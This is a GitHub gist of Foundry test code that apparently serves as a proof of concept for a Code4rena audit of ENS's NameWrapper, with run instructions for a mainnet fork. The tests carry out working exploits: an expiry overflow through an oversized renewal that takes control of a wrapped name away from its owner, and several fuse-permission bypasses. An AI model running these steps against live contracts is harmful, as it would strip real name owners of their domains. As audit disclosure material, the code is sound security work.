Skip to content

Instantly share code, notes, and snippets.

@zzzitron
Created November 28, 2022 10:50
Show Gist options
  • Select an option

  • Save zzzitron/7670730176e35d7b2322bc1f4b9737f0 to your computer and use it in GitHub Desktop.

Select an option

Save zzzitron/7670730176e35d7b2322bc1f4b9737f0 to your computer and use it in GitHub Desktop.
proof of concept for 2022 11 ens versus contest on code4rena
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import {NameEncoder} from "2022-11-ens-code4rena/utils/NameEncoder.sol"; // dnsEncodeName(string name)
import {Root} from "2022-11-ens-code4rena/root/Root.sol";
import {ENS} from "2022-11-ens-code4rena/registry/ENS.sol"; // imports interface ENS
import {IBaseRegistrar} from "2022-11-ens-code4rena/ethregistrar/IBaseRegistrar.sol"; // eth registrar
import {BaseRegistrarImplementation} from "2022-11-ens-code4rena/ethregistrar/BaseRegistrarImplementation.sol"; // eth registrar
import {StaticMetadataService} from "2022-11-ens-code4rena/wrapper/StaticMetadataService.sol";
import {IMetadataService} from "2022-11-ens-code4rena/wrapper/IMetadataService.sol";
import {INameWrapper, CANNOT_UNWRAP, CANNOT_BURN_FUSES, CANNOT_TRANSFER, CANNOT_SET_RESOLVER, CANNOT_SET_TTL, CANNOT_CREATE_SUBDOMAIN, PARENT_CANNOT_CONTROL, CAN_DO_EVERYTHING, IS_DOT_ETH, PARENT_CONTROLLED_FUSES, USER_SETTABLE_FUSES} from "2022-11-ens-code4rena/wrapper/INameWrapper.sol";
import {NameWrapper, OperationProhibited, Unauthorised} from "2022-11-ens-code4rena/wrapper/NameWrapper.sol";
import {INameWrapperUpgrade} from "2022-11-ens-code4rena/wrapper/INameWrapperUpgrade.sol";
import {DummyOracle} from "2022-11-ens-code4rena/ethregistrar/DummyOracle.sol";
import {ExponentialPremiumPriceOracle} from "2022-11-ens-code4rena/ethregistrar/ExponentialPremiumPriceOracle.sol";
import {AggregatorInterface} from "2022-11-ens-code4rena/ethregistrar/StablePriceOracle.sol";
import {IETHRegistrarController, IPriceOracle} from "2022-11-ens-code4rena/ethregistrar/IETHRegistrarController.sol";
import {ETHRegistrarController} from "2022-11-ens-code4rena/ethregistrar/ETHRegistrarController.sol";
import {ReverseRegistrar} from "2022-11-ens-code4rena/registry/ReverseRegistrar.sol";
import {UpgradedNameWrapperMock} from "2022-11-ens-code4rena/wrapper/mocks/UpgradedNameWrapperMock.sol";
contract TestPoc is Test {
using NameEncoder for string;
address public root_owner = 0xCF60916b6CB4753f58533808fA610FcbD4098Ec0;
address public root_addr = 0xaB528d626EC275E3faD363fF1393A41F581c5897; // root.ens.eth
address public registry_addr = 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e; // ENS
address public registrar_owner = 0xFe89cc7aBB2C4183683ab71653C4cdc9B02D44b7;
address public registrar_addr = 0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85; // ETH Registrar
address public reverse_addr = 0x084b1c3C81545d370f3634392De611CaaBFf8148;
address public old_eth_registrar_controller_addr = 0x283Af0B28c62C092C9727F1Ee09c02CA627EB7F5; // old controller
address public default_resolver = 0xA2C122BE93b0074270ebeE7f6b7292C7deB45047;
address public user1 = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045; // vitalik.eth
address public user2 = address(1234);
bytes32 public ROOT_NODE = bytes32(0);
ENS public ens;
Root public root;
IBaseRegistrar public registrar;
IMetadataService public metadata;
NameWrapper public nameWrapper;
INameWrapperUpgrade public nameWrapperUpgrade;
AggregatorInterface public usdOracle;
IPriceOracle public prices;
ReverseRegistrar public reverse;
ETHRegistrarController public ethController;
function getDeployed() public {
ens = ENS(registry_addr);
root = Root(root_addr);
registrar = IBaseRegistrar(registrar_addr);
}
function deploy() public {
// Metadata Service
metadata = IMetadataService(address(new StaticMetadataService('ens-metadata-service.appspot.com/name/0x{id}')));
// NameWrapper
deployNameWrapper();
// price oracle\reverseregistrar
deployPriceOracle();
// reverseRegistrar
deployReverseRegistrar();
// eth controller
deployETHRegistrarController();
}
function deployETHRegistrarController() public {
uint256 _minCommitmentAge = 60;
uint256 _maxCommitmentAge = 86400;
ethController = new ETHRegistrarController(
BaseRegistrarImplementation(address(registrar)),
prices,
_minCommitmentAge,
_maxCommitmentAge,
reverse,
INameWrapper(address(nameWrapper))
);
// transferOwnership to owner
ethController.transferOwnership(root_owner);
assertEq(ethController.owner(), root_owner);
vm.prank(root_owner);
nameWrapper.setController(address(ethController), true);
vm.prank(root_owner);
reverse.setController(address(ethController), true);
}
function deployPriceOracle() public {
// deploy based on the deploy script
// dummyOracle
int256 latestAns = 160000000000;
usdOracle = AggregatorInterface(address(new DummyOracle(latestAns)));
assertEq(latestAns, usdOracle.latestAnswer());
// ExponentialPremiumPriceOracle
uint256[] memory _rentPrices = new uint256[](5);
_rentPrices[2] = 20294266869609;
_rentPrices[3] = 5073566717402;
_rentPrices[4] = 158548959919;
uint256 _startPremium = 100000000000000000000000000;
uint256 totalDays = 21;
prices = IPriceOracle(address(new ExponentialPremiumPriceOracle(
usdOracle, _rentPrices, _startPremium, totalDays
)));
}
function deployReverseRegistrar() public {
reverse = new ReverseRegistrar(ens);
// transfer ownership of reverse to root_owner
reverse.transferOwnership(root_owner);
// set owner of .reverse to owner on root
bytes32 subnode = keccak256(abi.encodePacked(ROOT_NODE, keccak256(bytes('reverse'))));
vm.prank(root_owner);
root.setSubnodeOwner(keccak256(bytes('reverse')), root_owner);
assertEq(ens.owner(subnode), root_owner);
// set owner of .addr.reverse to reverseregistrar on registry
string memory str_node = 'reverse';
(, bytes32 reverse_node) = str_node.dnsEncodeName();
vm.prank(root_owner);
ens.setSubnodeOwner(reverse_node, keccak256(bytes('addr')), address(reverse));
str_node = 'addr.reverse';
(, reverse_node) = str_node.dnsEncodeName();
assertEq(ens.owner(reverse_node), address(reverse));
// set defaultResolver
vm.prank(root_owner);
reverse.setDefaultResolver(default_resolver);
assertEq(default_resolver, address(reverse.defaultResolver()));
}
function deployNameWrapper() public {
nameWrapper = new NameWrapper(ens, registrar, metadata);
// transfer Ownership
nameWrapper.transferOwnership(root_owner);
assertEq(nameWrapper.owner(), root_owner);
// add as controller on registrar
assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), false);
vm.prank(registrar_owner);
registrar.addController(address(nameWrapper));
assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), true);
}
function setUp() public {
getDeployed();
deploy();
}
function _hashLabel(string memory label) private pure returns (bytes32 ) {
return keccak256(bytes(label));
}
function _makeNode(bytes32 node, bytes32 labelhash) private pure returns (bytes32) {
return keccak256(abi.encodePacked(node, labelhash));
}
function testM1RenewToDosName() public {
string memory str_node = 'vitalik.eth';
string memory label = 'vitalik';
(bytes memory dnsName, bytes32 node) = str_node.dnsEncodeName();
// user1 is owner of unwrapped name 'vitalik.eth'
assertEq(user1, ens.owner(node));
// before wrapped owner of the node in namewrapper is zero
(address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, address(0));
// -- user wrapETH2LD to wrap 'vitalik.eth'
vm.prank(user1);
registrar.setApprovalForAll(address(nameWrapper), true);
vm.prank(user1);
nameWrapper.wrapETH2LD('vitalik', user1, 0 /* no fuse */, address(0) /* resolver */);
// sanity check
(owner, fuses, expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, user1);
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH);
assertEq(expiry, 2038123728);
// user1 can set resolver
vm.prank(user1);
nameWrapper.setResolver(node, address(111));
assertEq(ens.resolver(node), address(111));
// end wrapETH2LD --
// make expiry in nameWraper for node overflow
uint256 duration = type(uint64).max - expiry + 90 days + 1;
IPriceOracle.Price memory price = ethController.rentPrice('vitalik', duration);
assertEq(address(this).balance > price.base, true);
// renew to overflow (anyone with enough eth can do this)
ethController.renew{value: price.base }('vitalik', duration);
// expiry in the way nameWrapper calculates:
expiry = uint64(registrar.nameExpires(uint256(_hashLabel(label))));
assertEq(expiry, 0);
// check
(owner, fuses, expiry) = nameWrapper.getData(uint256(node));
assertEq(expiry, 90 days); // 90 days added for Grade period
// after expired, fuses and owner are zero:
assertEq(fuses, 0);
assertEq(owner, address(0));
// user1 is not authorised anymore for the node
vm.expectRevert(abi.encodeWithSelector(Unauthorised.selector, node, user1));
vm.prank(user1);
nameWrapper.setResolver(node, address(123));
}
function deployNameWrapperUpgrade() public {
// deploy UpgradedNameWrapperMock
UpgradedNameWrapperMock upgrade = new UpgradedNameWrapperMock(address(nameWrapper), ens, registrar);
nameWrapperUpgrade = INameWrapperUpgrade(address(upgrade));
// add as controller on registrar
assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), false);
vm.prank(registrar_owner);
registrar.addController(address(upgrade));
assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), true);
}
function testM2TransferWhileUpgrade() public {
// using the mock for upgrade contract
deployNameWrapperUpgrade();
string memory node_str = 'vitalik.eth';
string memory sub1_full = 'sub1.vitalik.eth';
string memory sub1_str = 'sub1';
(, bytes32 node) = node_str.dnsEncodeName();
(bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();
// wrap parent and lock
vm.prank(user1);
registrar.setApprovalForAll(address(nameWrapper), true);
vm.prank(user1);
nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0));
// sanity check
(address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, user1);
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max);
assertEq(expiry, 2038123728);
// upgrade as nameWrapper's owner
vm.prank(root_owner);
nameWrapper.setUpgradeContract(nameWrapperUpgrade);
assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade));
// user1 calls upgradeETH2LD
vm.prank(user1);
nameWrapper.upgradeETH2LD('vitalik', address(123) /* new owner */, address(531) /* resolver */);
}
function testM3ExpiredNamesBehavesUnwrapped() public {
string memory str_node = 'vitalik.eth';
(bytes memory dnsName, bytes32 node) = str_node.dnsEncodeName();
// before wrapping the name check
assertEq(user1, ens.owner(node));
(address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, address(0));
// -- wrapETH2LD
vm.prank(user1);
registrar.setApprovalForAll(address(nameWrapper), true);
vm.prank(user1);
nameWrapper.wrapETH2LD('vitalik', user1, 0, address(0));
// after name wrap check
(owner, fuses, expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, user1);
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH);
assertEq(expiry, 2038123728);
// wrapETH2LD --
vm.warp(2038123729);
// after expiry
(owner, fuses, expiry) = nameWrapper.getData(uint256(node));
assertEq(owner, address(0));
assertEq(fuses, 0);
assertEq(expiry, 2038123728);
assertEq(nameWrapper.ownerOf(uint256(node)), address(0));
assertEq(ens.owner(node), address(nameWrapper)); // registry.owner is not zero
vm.expectRevert();
registrar.ownerOf(uint256(node));
}
function testM3ExpiredNameCreate() public {
// After expired, the ens.owner's address is non-zero
// therefore, the parent can 'create' the name evne CANNOT_CREATE_SUBDOMAIN is burned
string memory parent = 'vitalik.eth';
string memory sub1_full = 'sub1.vitalik.eth';
string memory sub1 = 'sub1';
(, bytes32 parent_node) = parent.dnsEncodeName();
(bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();
// wrap parent and lock
vm.prank(user1);
registrar.setApprovalForAll(address(nameWrapper), true);
vm.prank(user1);
nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0));
// checks
(address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node));
assertEq(owner, user1);
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP);
assertEq(expiry, 2038123728);
// create subnode
vm.prank(user1);
nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, user2);
assertEq(fuses, PARENT_CANNOT_CONTROL);
assertEq(expiry, 1700000000);
// now parent cannot create subdomain
vm.prank(user1);
nameWrapper.setFuses(parent_node, uint16(CANNOT_CREATE_SUBDOMAIN));
(owner, fuses, expiry) = nameWrapper.getData(uint256(parent_node));
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP | CANNOT_CREATE_SUBDOMAIN);
// parent: pcc cu CANNOT_CREATE_SUBDOMAIN
// child: pcc
// unwrap and sets the owner to zero
// parent cannot use setSubnodeRecord on PCCed sub
vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node));
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0);
// expire sub1
vm.warp(1700000001);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, address(0));
assertEq(fuses, 0);
assertEq(expiry, 1700000000);
assertEq(ens.owner(sub1_node), address(nameWrapper));
// user1 can re-"create" sub1 even though CANNOT_CREATE_SUBDOMAIN is set on parent
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub1, address(3), address(11), 10, 0, 0);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, address(3));
assertEq(fuses, 0);
assertEq(expiry, 1700000000);
assertEq(ens.owner(sub1_node), address(nameWrapper));
// comparison: tries create a new subdomain and revert
string memory sub2 = 'sub2';
string memory sub2_full = 'sub2.vitalik.eth';
(, bytes32 sub2_node) = sub2_full.dnsEncodeName();
vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub2_node));
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub2, user2, address(11), 10, 0, 0);
}
function testM4WrappedToUnregistered() public {
string memory parent = 'vitalik.eth';
string memory sub1_full = 'sub1.vitalik.eth';
string memory sub1 = 'sub1';
(, bytes32 parent_node) = parent.dnsEncodeName();
(bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();
// wrap parent and lock
vm.prank(user1);
registrar.setApprovalForAll(address(nameWrapper), true);
vm.prank(user1);
nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0));
// checks
(address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node));
assertEq(owner, user1);
assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP);
assertEq(expiry, 2038123728);
// subnode
vm.prank(user1);
nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, user2);
assertEq(fuses, PARENT_CANNOT_CONTROL);
assertEq(expiry, 1700000000);
// parent cannot set record on the sub1
vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node));
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0);
// parent: pcc cu
// child: pcc
// unwrap sub and set the ens owner to zero -> now parent can change owner
vm.prank(user2);
nameWrapper.unwrap(parent_node, _hashLabel(sub1), address(ens));
assertEq(ens.owner(sub1_node), address(0));
// sub node has PCC but parent can set owner, resolve and ttl
vm.prank(user1);
nameWrapper.setSubnodeRecord(parent_node, sub1, address(246), address(12345), 111111, 0, 0);
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, address(246));
assertEq(fuses, PARENT_CANNOT_CONTROL);
assertEq(expiry, 1700000000);
assertEq(ens.resolver(sub1_node), address(12345));
assertEq(ens.ttl(sub1_node), 111111);
// can change fuse as the new owner of sub1
vm.prank(address(246));
nameWrapper.setFuses(sub1_node, uint16(CANNOT_UNWRAP));
(owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
assertEq(owner, address(246));
assertEq(fuses, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP);
assertEq(expiry, 1700000000);
assertEq(ens.resolver(sub1_node), address(12345));
assertEq(ens.ttl(sub1_node), 111111);
}
}
@zzzitron
Copy link
Author

HOW TO RUN THE TEST

  1. make a new directory
  2. Run forge init in the terminal:
forge init
  1. Install dependencies with following commands
    Note: need credential for github for code-423n4/2022-11-ens repository
forge install 2022-11-ens-code4rena=code-423n4/2022-11-ens
forge install @openzeppelin=OpenZeppelin/openzeppelin-contracts@v4.1.0
forge remappings > remappings.txt
  1. edit the remappings.txt:
    Delete this
@openzeppelin/=lib/@openzeppelin/contracts/

to replace to the line below

@openzeppelin/=lib/@openzeppelin/
  1. copy the test file above 2022-11-ens-versus-PoC.t.sol into the test dir
  2. export $WEB3_API_HTTP to your API token
export $WEB3_API_HTTP=https://eth-mainnet.alchemyapi.io/v2/xxxYOURxxxAPIxxxKEYxxx
  1. Run the test with
forge test --fork-url "$WEB3_API_HTTP" --fork-block-number 16054385 --match-contract Poc

Note: the block-number is at 26.11.2022. Fixed just in case the vitalik.eth data might be changed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment